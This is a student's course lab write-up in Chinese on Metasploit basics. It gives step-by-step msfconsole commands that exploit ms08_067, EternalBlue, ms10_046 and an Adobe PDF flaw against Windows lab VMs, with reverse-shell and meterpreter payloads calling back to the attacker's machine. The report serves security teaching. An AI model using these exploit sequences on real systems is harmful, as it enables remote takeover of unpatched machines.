1. 程式人生 > >2018-2019-2 20165312《網絡攻防技術》Exp5 MSF基礎應用

2018-2019-2 20165312《網絡攻防技術》Exp5 MSF基礎應用

bms olt nal 作用 win7 程序 系統 用戶 .html

2018-2019-2 20165312《網絡攻防技術》Exp5 MSF基礎應用

目錄

  • 一、知識點總結
  • 二、攻擊實例
    • 主動攻擊的實踐
      • ms08_067
        • generic/shell_reverse_tcp(成功)
        • windows/meterpreter/reverse_tcp(失敗)
      • ms17_010_eternalblue(成功)
        • generic/shell_reverse_tcp
        • windows/x64/meterpreter/reverse_tcp
        • windows/x64/meterpreter/bind_tcp
        • windows/x64/shell/reverse_tcp_rc4
    • 攻擊瀏覽器的實踐
      • ms11_050
        (失敗)
      • ms10_046
        • exploit/windows/browser/ms10_046_shortcut_icon_dllloader(失敗)
        • exploit/windows/smb/ms10_046_shortcut_icon_dllloader windows/meterpreter/reverse_tcp(成功且唯一)
    • 攻擊客戶端的實踐
      • Adobe(成功)
    • 成功應用任何一個輔助模塊
      • 在Exp 5-1中應用use auxiliary/scanner/portscan/tcp搜索靶機開放端口
    • 菜雞本人還在嘗試其他的(先提交嘻嘻)
  • 三、實驗中遇到的問題及解決方案
  • 四、實驗總結

一、知識點總結

1.MSF攻擊方法

  • 主動攻擊:掃描主機漏洞,進行攻擊
  • 攻擊瀏覽器
  • 攻擊其他客戶端

2.MSF的六種模塊

  • 滲透攻擊模塊Exploit Modules:攻擊漏洞,把shellcode"背"過去
    • 主動滲透攻擊:攻擊某個系統服務
    • 被動滲透攻擊:攻擊某個客戶端應用
  • 輔助模塊Auxiliary Modules:在進行滲透攻擊之前得到目標系統豐富的情報信息,它是攻擊的前提
    • 網絡服務的掃描與查點
    • 探查敏感信息泄露、Fuzz測試發掘漏洞
    • 收集登錄密碼
  • 攻擊載荷Payload Modules:載荷,一段指令(shellcode),目標系統在被滲透攻擊之後去執行的代碼
  • 空字段模塊Nop Modules
    • 一些對程序運行狀態不會造成任何實質影響的空操作或無關操作指令,即空指令(滑行區)
    • 由於系統無法精確計算shellcode的起始地址,所以加入nops以增加攻擊成功的概率
  • 編碼模塊Encoders
    • 改變payload形狀,使得不出現特定字符
    • 確保攻擊載荷中不會出現滲透攻擊過程中應加以避免的“壞字符”
  • 後滲透攻擊模塊Post:攻擊成功之後,動態傳輸代碼使其在被控機執行
  • 查看六種模塊源碼目錄/usr/share/metasploit-framework/modules

3.MSF的三種用戶操作界面

  • msfconsole
    • 查看模塊的具體信息info [exploits|auxiliary|post|payloads|encoders|nops]
    • 查看設置信息show [options]
    • 查看攻擊目標類型show [target]
    • 查找命令search
      • 查找2016年產生的在windows平臺下的漏洞search ms16 type:exploit platform:windows
  • armitage
    • 啟動服務器service postgresql start
    • 啟動armitagearmitage
  • webgui

返回目錄

二、攻擊實例

Exp5-1 實現ms08_067

靶機:Microsoft Windows 2000(10.0.0.140)

payload : generic/shell_reverse_tcp

實驗步驟

  • 靶機和攻擊機ping成功(建議改成橋接模式)
  • 攻擊者試探靶機是否存在ms08_067這個漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.140
    • 建議使用這個步驟,要不會換很多臺虛擬機找靶機……(稍微省事一點吧)
    • 查看到靶機的版本號
      技術分享圖片
    • 查看到靶機存在ms08_067這個漏洞,有了這個大前提,我們就可以開始攻擊了
      技術分享圖片
  • 輸入msfconsole打開metasploit控制臺,遇到圖下這個問題。因為沒有連接到服務器。
    技術分享圖片
  • 輸入service postgresql start啟動服務器,再重新進入metasploit控制臺就可以了(參考鏈接)
  • 查看一下ms08_067這個漏洞在哪裏search ms08-067
    技術分享圖片
  • 選擇漏洞use exploit/windows/smb/ms08_067_netapi
  • 查看設置信息show options
    技術分享圖片

  • 設置靶機ipset RHOSTS 10.0.0.140
  • 默認端口為445,使用輔助模塊查看445端口是否開放
search portscan # 搜索端口
use auxiliary/scanner/portscan/tcp # 使用漏洞
show options  #顯示設置
set RHOSTS 10.0.0.140  # 設置監聽者地址
exploit # 攻擊

技術分享圖片

  • 查看targetsshow targets 也可以看到我們靶機的類型set target 1其實這裏不修改也是可以的
    技術分享圖片
  • 查看可用payloadshow payloads選擇generic/shell_reverse_tcp
    技術分享圖片
  • set payload generic/shell_reverse_tcp
  • 查看設置信息show options
    技術分享圖片
  • 設置監聽者ipset LHOST 10.0.0.154
  • 設置監聽者端口號set LPORT 5312
  • 進行攻擊exploit
    技術分享圖片

嘗試更換一個payload : windows/meterpreter/reverse_tcp

  • 在剛才的實驗基礎上我繼續嘗試了and前面步驟都一樣就是payload不一樣,但是攻擊失敗了
    技術分享圖片

  • 我在這篇博客裏面找到了一些解釋,大概的意思是和端口有關。然後我換了一個端口and重啟win2000,然後又出現了這個錯誤
    技術分享圖片

  • 看英文解釋是連接不上了,很顯然是win2000出問題了。果然他開始自動重啟了,好的這個虛擬機被我玩崩了(快照smile)

返回目錄

Exp5-2 實現MS17_010_eternalblue

靶機:Microsoft Windows 7(10.0.0.168)

payload : generic/shell_reverse_tcp

實驗步驟

nmap --script=vuln 10.0.0.168 #查看靶機開放端口、是否存在ms17_010
search ms17_010 #搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue    #使用漏洞
show payloads   #顯示可用攻擊載荷
set payload generic/shell_reverse_tcp  #選擇攻擊載荷
show options #查看配置信息
set LHOST 10.0.0.154 #設置監聽地址
set RHOSTS 10.0.0.168 #設置靶機地址
exploit #開始攻擊

攻擊成功

技術分享圖片
技術分享圖片

嘗試更換一個payload : windows/x64/meterpreter/reverse_tcp

  • 攻擊成功
    技術分享圖片
    技術分享圖片

嘗試再更換一個payload:windows/x64/meterpreter/bind_tcp

  • 攻擊成功
    技術分享圖片

嘗試再更換一個payload:windows/x64/shell/reverse_tcp_rc4

  • 攻擊成功
    技術分享圖片
    正常情況下只要是相對應的payloads都是可以成功的,還有很多選擇就不羅列了

返回目錄

Exp5-3 實現ms11_050

靶機:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8

payload : generic/shell_reverse_tcp

實驗步驟

  • 搜索漏洞search ms11_050
    技術分享圖片
  • 使用漏洞use exploit/windows/browser/ms11_050_mshtml_cobjectelement
  • 顯示靶機類型show targets
    技術分享圖片
  • 設置靶機類型set target 3
  • 顯示可用攻擊載荷show payloads
    技術分享圖片
  • 選擇攻擊載荷set payload generic/shell_reverse_tcp
  • 顯示配置信息show options
    技術分享圖片

  • 設置監聽地址set LHOST 10.0.0.154
  • 設置本地地址set SRVHOST 10.0.0.154
  • 開始攻擊exploit
    技術分享圖片
  • but攻擊失敗了
    技術分享圖片
    技術分享圖片
  • 我嘗試把IE瀏覽器的安全級別降到最低,失敗again
  • 重新在虛擬機中下載IE7(抱著低版本或許好攻擊的想法),失敗again
  • 用同樣的方法我攻擊了 Windows 7 + IE8 ,我遇到了同樣的問題
  • 開始思考為什麽,我猜測是IE瀏覽器的問題,and我還沒解決……

返回目錄

Exp5-4-1 實現ms10_046(失敗版本)

靶機:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8

payload : windows/meterpreter/reverse_tcp

實驗步驟

  • 首先查看還有哪些瀏覽器漏洞cd /usr/share/metasploit-framework/modules/exploits/windows/browser
  • 輸入ls命令即可看到很多漏洞代碼,隨意選擇一個吧
    技術分享圖片

  • 輸入msfconsole進入控制臺,並使用剛才找到的exploituse windows/browser/ms10_046_shortcut_icon_dllloader
  • 查看一下這個漏洞的作用的作用info通過查看Description可以知道

    這個模塊利用了Windows快捷方式文件(. lnk)處理中的一個漏洞,該文件包含指向惡意DLL的圖標資源。此模塊創建一個WebDAV服務,當以UNC路徑訪問該服務時,可以使用該服> 務運行任意負載。
    技術分享圖片

  • 接著就是一些常規操作
show payloads   #顯示可用攻擊載荷
set payload windows/meterpreter/reverse_tcp #選擇攻擊載荷
show options #查看配置信息
set LHOST 10.0.0.154  #設置監聽地址
exploit #進行攻擊
  • 在靶機用瀏覽器打開鏈接
    技術分享圖片

技術分享圖片

  • 雖然靶機進入到了共享文件夾,但是監聽方這邊卻顯示無會話。且我在靶機刷新頁面,監聽方也是可以監控到。但是一直顯示無會話,我猜測或許是會話中斷了,但是卻沒有任何報錯顯示,無從查證。
  • 沒錯,我又嘗試了winXP+IE8。結果是一樣的,也是可以訪問共享文件,但是一直顯示無會話……
    技術分享圖片
    技術分享圖片
  • 然後,我又嘗試了win2000,IE根本就訪問不了那個頁面
  • 不死心的我,嘗試了ms10_046的另外一個exploit

Exp5-4-2 實現ms10_046(成功版本)

靶機:Windows 7 + IE8

exploit : exploit/windows/smb/ms10_046_shortcut_icon_dllloader

payload : windows/meterpreter/reverse_tcp

實驗步驟

search ms10-046 #看看其他的exploit
use exploit/windows/smb/ms10_046_shortcut_icon_dllloader  #使用漏洞
show payloads   #顯示可用攻擊載荷
set windows/meterpreter/reverse_tcp  #選擇攻擊載荷
show options #查看配置信息
set LHOST 10.0.0.154 #設置監聽地址
set SRVHOST 10.0.0.154 #設置本地收聽地址
set RHOSTS 10.0.0.168 #設置靶機地址
exploit #開始攻擊

技術分享圖片

  • /root/.msf4/local/msf.lnk共享到win7虛擬機中,然後雙擊,即可在kail監聽到,輸入sessions查看當前會話
    技術分享圖片

  • 輸入sessions -i 1即可選擇第一個會話,然後就攻擊成功(終於……)
    技術分享圖片

返回目錄

Exp5-5 實現Adobe

靶機:Windows XP

實驗步驟

search adobe #進行查找
use windows/fileformat/adobe_cooltype_sing  #使用漏洞
set payload windows/meterpreter/reverse_tcp #選擇攻擊載荷
set LHOST 10.0.0.154 #攻擊者地址
set FILENAME 20165312.pdf #設置生成pdf文件的文件名
exploit #攻擊

技術分享圖片

  • 將生成的20165312.pdf復制到Windows XP中
  • kail中輸入back退出當前模塊,進入監聽模塊
use exploit/multi/handler #進入監聽模塊
set payload windows/meterpreter/reverse_tcp  #選擇攻擊載荷
set LHOST 10.0.0.154 #攻擊者地址
exploit #攻擊
  • 在靶機中打開20165312.pdf
    技術分享圖片
  • 攻擊成功
    技術分享圖片

返回目錄

三、實驗中遇到的問題及解決方案

1.在實現ms08-067的時候,一開始我的靶機我使用的是windows xp系統,但是一直沒有會話建立

技術分享圖片

  • 參考一位學長的博客(講解超級詳細),發現了其中的原因。
  • 第一點我忘記了一個大前提,我沒有先掃描靶機存在的漏洞,使用nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.165發現windows xp裏面就沒有這個漏洞
    技術分享圖片
  • 然後在windows xp中輸入systeminfo命令,原來windows xp裏面已經有了ms08-067漏洞的補丁
    技術分享圖片
    技術分享圖片

2.進行exploit攻擊的時候,出現了如下問題

技術分享圖片

  • 我理解的意思大概就是被占用了,然後我試過換端口,沒有起作用。最好的方法是重啟msf

返回目錄

四、實驗總結

1.實驗總結與體會

實驗的過程中一直困苦於no sessions的問題,有些問題最後解決了,有些問題還在遺留,總體上收獲很大。雖然之前也使用過msfconsole,但是這次實驗從系統上了解了他的六大模塊,實驗中用的最多的還是exploit和payload。從這次實驗,我也更加感受到nmap的強大,感覺nmap和auxiliary的作用有相似之處。之前在做其他課程的實驗也使用過nmap,但是這次卻讓我實驗效率提高。

2.離實戰還缺些什麽技術

啊,這可是差的遠了。實驗參考了往屆學長學姐的分析和做法,也嘗試了新的攻擊方法,遇到很多問題,好在成功了。對於msf我還是個小白,距離實戰還有很遠很遠的路。

3.用自己的話解釋什麽是exploit,payload,encode.

exploit攻擊者對靶機進行攻擊的這一過程

payload攻擊者進行攻擊的“武器”

encode編碼,使得shellcode改變形狀,不具有特定字符

返回目錄

2018-2019-2 20165312《網絡攻防技術》Exp5 MSF基礎應用